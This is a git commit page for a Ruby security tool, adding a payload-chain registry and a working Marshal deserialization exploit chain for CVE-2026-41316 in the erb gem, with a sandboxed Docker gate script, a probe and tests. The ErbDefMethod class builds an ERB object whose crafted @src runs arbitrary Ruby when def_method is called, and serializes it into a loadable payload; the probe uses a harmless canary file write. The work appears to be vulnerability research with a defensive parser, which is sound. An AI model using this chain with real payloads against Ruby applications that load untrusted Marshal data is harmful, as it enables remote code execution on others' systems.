feat(rube): M4 payload builder - working CVE-2026-41316 chain with version-predicted gate
Chain registry modelled on PHPGGC: the class is the chain identity, metadata carries the CVE and its affected version ranges, generate returns an object rather than bytes, and serialization is a separate step. Ships the ErbDefMethod chain for CVE-2026-41316. Ruby 2.7.0 added an @_init guard to stop Marshal.load code execution on ERB objects, and def_method never checked it. def_module and def_class delegate to def_method, so the single missing check exposed all three entry points for six years. The payload is an ERB built by allocate with @src, @filename and @lineno set and @_init deliberately absent. @src opens with a comment line and a bare end so that the def wrapper def_method injects is closed before the payload runs, which puts execution at eval time rather than at call time. Gate proves both halves and neither alone is sufficient: 4.0.2-slim erb=6.0.1 outcome=FIRED predicted=FIRED 4.0-slim erb=6.0.1.1 outcome=BLOCKED predicted=BLOCKED The prediction column is the load-bearing one. affects? evaluates the CVE ranges encoded in the chain metadata against the erb version present in the image, before the payload runs. Observed behaviour matched on both, so the registry is making falsifiable claims rather than carrying documentation. Exploit containers run with no network, a read-only root filesystem, a 1MB noexec tmpfs and an unprivileged user. The parser also inspects the payload and reports ERB without deserializing it, so the offensive and defensive halves meet on the same artifact. 70 tests, 151 assertions across four suites.
This commit is contained in:
parent
60375675fd
commit
bd89c6704a
|
|
@ -14,6 +14,7 @@ default:
|
|||
test:
|
||||
{{run_ro}} ruby -Ilib -Itest test/marshal/parser_test.rb
|
||||
{{run_ro}} ruby -Ilib -Itest test/scanner_test.rb
|
||||
{{run_ro}} ruby -Ilib -Itest test/chains_test.rb
|
||||
|
||||
scan namespace="":
|
||||
{{run_ro}} ruby -Ilib -e 'require "rube"; ns = "{{namespace}}"; r = Rube::Scanner.new(namespace: ns.empty? ? nil : ns).scan; puts "modules=#{r.scanned_modules} candidates=#{r.candidates.length} gated=#{r.gated.length} reachable=#{r.reachable.length}"; puts; r.reachable.each { |c| puts format(" %-10s %-46s %s", c.gate, c.to_s, c.source_location) }'
|
||||
|
|
@ -32,6 +33,11 @@ probe:
|
|||
matrix:
|
||||
@bash scripts/version-matrix.sh
|
||||
|
||||
exploit:
|
||||
@bash scripts/exploit-gate.sh
|
||||
|
||||
gate: check matrix exploit
|
||||
|
||||
build:
|
||||
{{run}} sh -c "gem build --strict rube.gemspec"
|
||||
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@ require_relative "rube/marshal/errors"
|
|||
require_relative "rube/marshal/node"
|
||||
require_relative "rube/marshal/parser"
|
||||
require_relative "rube/scanner"
|
||||
require_relative "rube/chains"
|
||||
|
||||
module Rube
|
||||
end
|
||||
|
|
|
|||
|
|
@ -0,0 +1,34 @@
|
|||
# ©AngelaMos | 2026
|
||||
# chains.rb
|
||||
|
||||
module Rube
|
||||
module Chains
|
||||
class UnknownChainError < StandardError; end
|
||||
|
||||
@registry = []
|
||||
|
||||
class << self
|
||||
attr_reader :registry
|
||||
|
||||
def register(chain)
|
||||
@registry << chain unless @registry.include?(chain)
|
||||
end
|
||||
|
||||
def all
|
||||
registry.reject { |chain| chain == Base }
|
||||
end
|
||||
|
||||
def find(name)
|
||||
all.find { |chain| chain.chain_name == name } ||
|
||||
raise(UnknownChainError, name.to_s)
|
||||
end
|
||||
|
||||
def for_version(gem_name, version)
|
||||
all.select { |chain| chain.target_gem == gem_name && chain.affects?(version) }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require_relative "chains/base"
|
||||
require_relative "chains/erb_def_method"
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
# ©AngelaMos | 2026
|
||||
# base.rb
|
||||
|
||||
module Rube
|
||||
module Chains
|
||||
class ChainError < StandardError; end
|
||||
|
||||
class NotImplementedByChainError < ChainError; end
|
||||
|
||||
class Base
|
||||
NAMESPACE_SEPARATOR = "::"
|
||||
SUBCLASS_MUST_DEFINE = "chain must define"
|
||||
|
||||
class << self
|
||||
def inherited(subclass)
|
||||
super
|
||||
Chains.register(subclass)
|
||||
end
|
||||
|
||||
def metadata
|
||||
raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} metadata"
|
||||
end
|
||||
|
||||
def chain_name
|
||||
metadata.fetch(:name)
|
||||
end
|
||||
|
||||
def vector
|
||||
metadata.fetch(:vector)
|
||||
end
|
||||
|
||||
def cve
|
||||
metadata.fetch(:cve)
|
||||
end
|
||||
|
||||
def target_gem
|
||||
metadata.fetch(:gem)
|
||||
end
|
||||
|
||||
def affected_requirements
|
||||
metadata.fetch(:affected).map { |constraint| Gem::Requirement.new(constraint) }
|
||||
end
|
||||
|
||||
def affects?(version)
|
||||
candidate = Gem::Version.new(version.to_s)
|
||||
affected_requirements.any? { |requirement| requirement.satisfied_by?(candidate) }
|
||||
end
|
||||
end
|
||||
|
||||
def generate
|
||||
raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} generate"
|
||||
end
|
||||
|
||||
def serialize
|
||||
::Marshal.dump(generate)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,68 @@
|
|||
# ©AngelaMos | 2026
|
||||
# erb_def_method.rb
|
||||
|
||||
module Rube
|
||||
module Chains
|
||||
class ErbDefMethod < Base
|
||||
CHAIN_NAME = "erb-def-method"
|
||||
VECTOR = "def_method"
|
||||
CVE = "CVE-2026-41316"
|
||||
TARGET_GEM = "erb"
|
||||
|
||||
AFFECTED = [
|
||||
"< 4.0.3.1",
|
||||
"= 4.0.4",
|
||||
[">= 5.0.0", "< 6.0.1.1"],
|
||||
[">= 6.0.2", "< 6.0.4"]
|
||||
].freeze
|
||||
|
||||
SRC_PREFIX = "#\nend\n"
|
||||
SRC_SUFFIX = "\ndef _rube_unused\n"
|
||||
DEFAULT_FILENAME = "(erb)"
|
||||
DEFAULT_LINENO = 0
|
||||
|
||||
IVAR_SRC = :@src
|
||||
IVAR_FILENAME = :@filename
|
||||
IVAR_LINENO = :@lineno
|
||||
|
||||
CANARY_TEMPLATE = 'File.write(%<path>p, %<marker>p)'
|
||||
|
||||
def self.metadata
|
||||
{
|
||||
name: CHAIN_NAME,
|
||||
vector: VECTOR,
|
||||
cve: CVE,
|
||||
gem: TARGET_GEM,
|
||||
affected: AFFECTED
|
||||
}
|
||||
end
|
||||
|
||||
def self.canary(path, marker)
|
||||
new(format(CANARY_TEMPLATE, path: path, marker: marker))
|
||||
end
|
||||
|
||||
def initialize(ruby_source)
|
||||
super()
|
||||
@ruby_source = ruby_source
|
||||
end
|
||||
|
||||
def generate
|
||||
require "erb"
|
||||
|
||||
object = ERB.allocate
|
||||
object.instance_variable_set(IVAR_SRC, src)
|
||||
object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
|
||||
object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
|
||||
object
|
||||
end
|
||||
|
||||
def src
|
||||
"#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
attr_reader :ruby_source
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env bash
|
||||
# ©AngelaMos | 2026
|
||||
# exploit-gate.sh
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
|
||||
VULNERABLE_IMAGE="ruby:4.0.2-slim"
|
||||
PATCHED_IMAGE="ruby:4.0-slim"
|
||||
|
||||
run_probe() {
|
||||
local image="$1"
|
||||
docker run --rm \
|
||||
--network none \
|
||||
--read-only \
|
||||
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
|
||||
--user nobody \
|
||||
-e "MATRIX_IMAGE=${image#ruby:}" \
|
||||
-v "${HERE}/lib:/app/lib:ro" \
|
||||
-v "${HERE}/test/support/exploit_probe.rb:/app/probe.rb:ro" \
|
||||
-w /app \
|
||||
"${image}" ruby -Ilib /app/probe.rb 2>&1
|
||||
}
|
||||
|
||||
echo "CVE-2026-41316 exploit gate"
|
||||
echo
|
||||
|
||||
vulnerable_output="$(run_probe "${VULNERABLE_IMAGE}")"
|
||||
vulnerable_status=$?
|
||||
echo " ${vulnerable_output}"
|
||||
|
||||
patched_output="$(run_probe "${PATCHED_IMAGE}")"
|
||||
patched_status=$?
|
||||
echo " ${patched_output}"
|
||||
|
||||
echo
|
||||
failures=0
|
||||
|
||||
if [[ "${vulnerable_output}" == *"outcome=FIRED"* ]]; then
|
||||
echo " PASS payload executes on the vulnerable image"
|
||||
else
|
||||
echo " FAIL payload did not execute on the vulnerable image"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
if [[ "${patched_output}" == *"outcome=BLOCKED"* ]]; then
|
||||
echo " PASS patched image blocks the same payload"
|
||||
else
|
||||
echo " FAIL patched image did not block the payload"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
if [[ ${vulnerable_status} -eq 0 && ${patched_status} -eq 0 ]]; then
|
||||
echo " PASS observed outcome matched the chain metadata prediction on both"
|
||||
else
|
||||
echo " FAIL observed outcome contradicted the chain metadata prediction"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
echo
|
||||
if [[ ${failures} -eq 0 ]]; then
|
||||
echo "GATE PASSED"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "GATE FAILED (${failures})"
|
||||
exit 1
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
# ©AngelaMos | 2026
|
||||
# chains_test.rb
|
||||
|
||||
require_relative "test_helper"
|
||||
|
||||
module Rube
|
||||
module Chains
|
||||
class ChainsTest < Minitest::Test
|
||||
CANARY_PATH = "/tmp/rube-canary"
|
||||
CANARY_MARKER = "fired"
|
||||
|
||||
def chain
|
||||
ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
|
||||
end
|
||||
|
||||
def test_registry_excludes_the_base_class
|
||||
refute_includes Chains.all, Base
|
||||
end
|
||||
|
||||
def test_registry_contains_the_erb_chain
|
||||
assert_includes Chains.all, ErbDefMethod
|
||||
end
|
||||
|
||||
def test_find_by_name
|
||||
assert_equal ErbDefMethod, Chains.find("erb-def-method")
|
||||
end
|
||||
|
||||
def test_find_raises_on_unknown_name
|
||||
assert_raises(UnknownChainError) { Chains.find("no-such-chain") }
|
||||
end
|
||||
|
||||
def test_metadata_is_complete
|
||||
assert_equal "erb-def-method", ErbDefMethod.chain_name
|
||||
assert_equal "def_method", ErbDefMethod.vector
|
||||
assert_equal "CVE-2026-41316", ErbDefMethod.cve
|
||||
assert_equal "erb", ErbDefMethod.target_gem
|
||||
end
|
||||
|
||||
def test_affects_reproduces_the_published_ranges
|
||||
{ "2.2.3" => true, "4.0.2" => true, "4.0.3" => true, "4.0.4" => true,
|
||||
"5.0.0" => true, "6.0.1" => true, "6.0.2" => true, "6.0.3" => true,
|
||||
"4.0.3.1" => false, "4.0.4.1" => false, "6.0.1.1" => false, "6.0.4" => false }.each do |version, expected|
|
||||
assert_equal expected, ErbDefMethod.affects?(version), "erb #{version}"
|
||||
end
|
||||
end
|
||||
|
||||
def test_for_version_selects_matching_chains
|
||||
assert_includes Chains.for_version("erb", "6.0.1"), ErbDefMethod
|
||||
assert_empty Chains.for_version("erb", "6.0.1.1")
|
||||
end
|
||||
|
||||
def test_generate_returns_an_object_not_bytes
|
||||
assert_kind_of ERB, chain.generate
|
||||
end
|
||||
|
||||
def test_generated_object_carries_the_payload_source
|
||||
assert_includes chain.generate.instance_variable_get(:@src), CANARY_PATH
|
||||
end
|
||||
|
||||
def test_generated_object_omits_the_init_sentinel
|
||||
refute_includes chain.generate.instance_variables, :@_init
|
||||
end
|
||||
|
||||
def test_src_closes_the_injected_def_before_the_payload
|
||||
assert_match(/\A#\nend\n/, chain.src)
|
||||
end
|
||||
|
||||
def test_serialize_produces_a_loadable_marshal_stream
|
||||
blob = chain.serialize
|
||||
assert_equal 4, blob.getbyte(0)
|
||||
assert_equal 8, blob.getbyte(1)
|
||||
end
|
||||
|
||||
def test_payload_is_visible_to_the_parser_without_deserializing
|
||||
result = Rube::Marshal::Parser.new(chain.serialize).parse
|
||||
assert_includes result.class_names, "ERB"
|
||||
end
|
||||
|
||||
def test_base_refuses_to_generate
|
||||
assert_raises(NotImplementedByChainError) { Base.new.generate }
|
||||
end
|
||||
|
||||
def test_base_refuses_metadata
|
||||
assert_raises(NotImplementedByChainError) { Base.metadata }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
# ©AngelaMos | 2026
|
||||
# exploit_probe.rb
|
||||
|
||||
require "rube"
|
||||
|
||||
CANARY_PATH = "/tmp/rube-canary"
|
||||
CANARY_MARKER = "fired"
|
||||
RESULT_FIRED = "FIRED"
|
||||
RESULT_BLOCKED = "BLOCKED"
|
||||
RESULT_INERT = "INERT"
|
||||
|
||||
erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s
|
||||
chain = Rube::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
|
||||
blob = chain.serialize
|
||||
|
||||
inspection = Rube::Marshal::Parser.new(blob).parse
|
||||
|
||||
File.delete(CANARY_PATH) if File.exist?(CANARY_PATH)
|
||||
|
||||
revived = Marshal.load(blob)
|
||||
detail = begin
|
||||
revived.def_method(Module.new, "rube_probe")
|
||||
"def_method returned"
|
||||
rescue StandardError => e
|
||||
"#{e.class}: #{e.message}"
|
||||
end
|
||||
|
||||
fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER
|
||||
outcome = if fired
|
||||
RESULT_FIRED
|
||||
elsif detail.start_with?("ArgumentError")
|
||||
RESULT_BLOCKED
|
||||
else
|
||||
RESULT_INERT
|
||||
end
|
||||
|
||||
predicted = Rube::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED
|
||||
|
||||
puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s",
|
||||
ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted,
|
||||
inspection.class_names.join(","), detail)
|
||||
|
||||
exit(outcome == predicted ? 0 : 1)
|
||||
Loading…
Reference in New Issue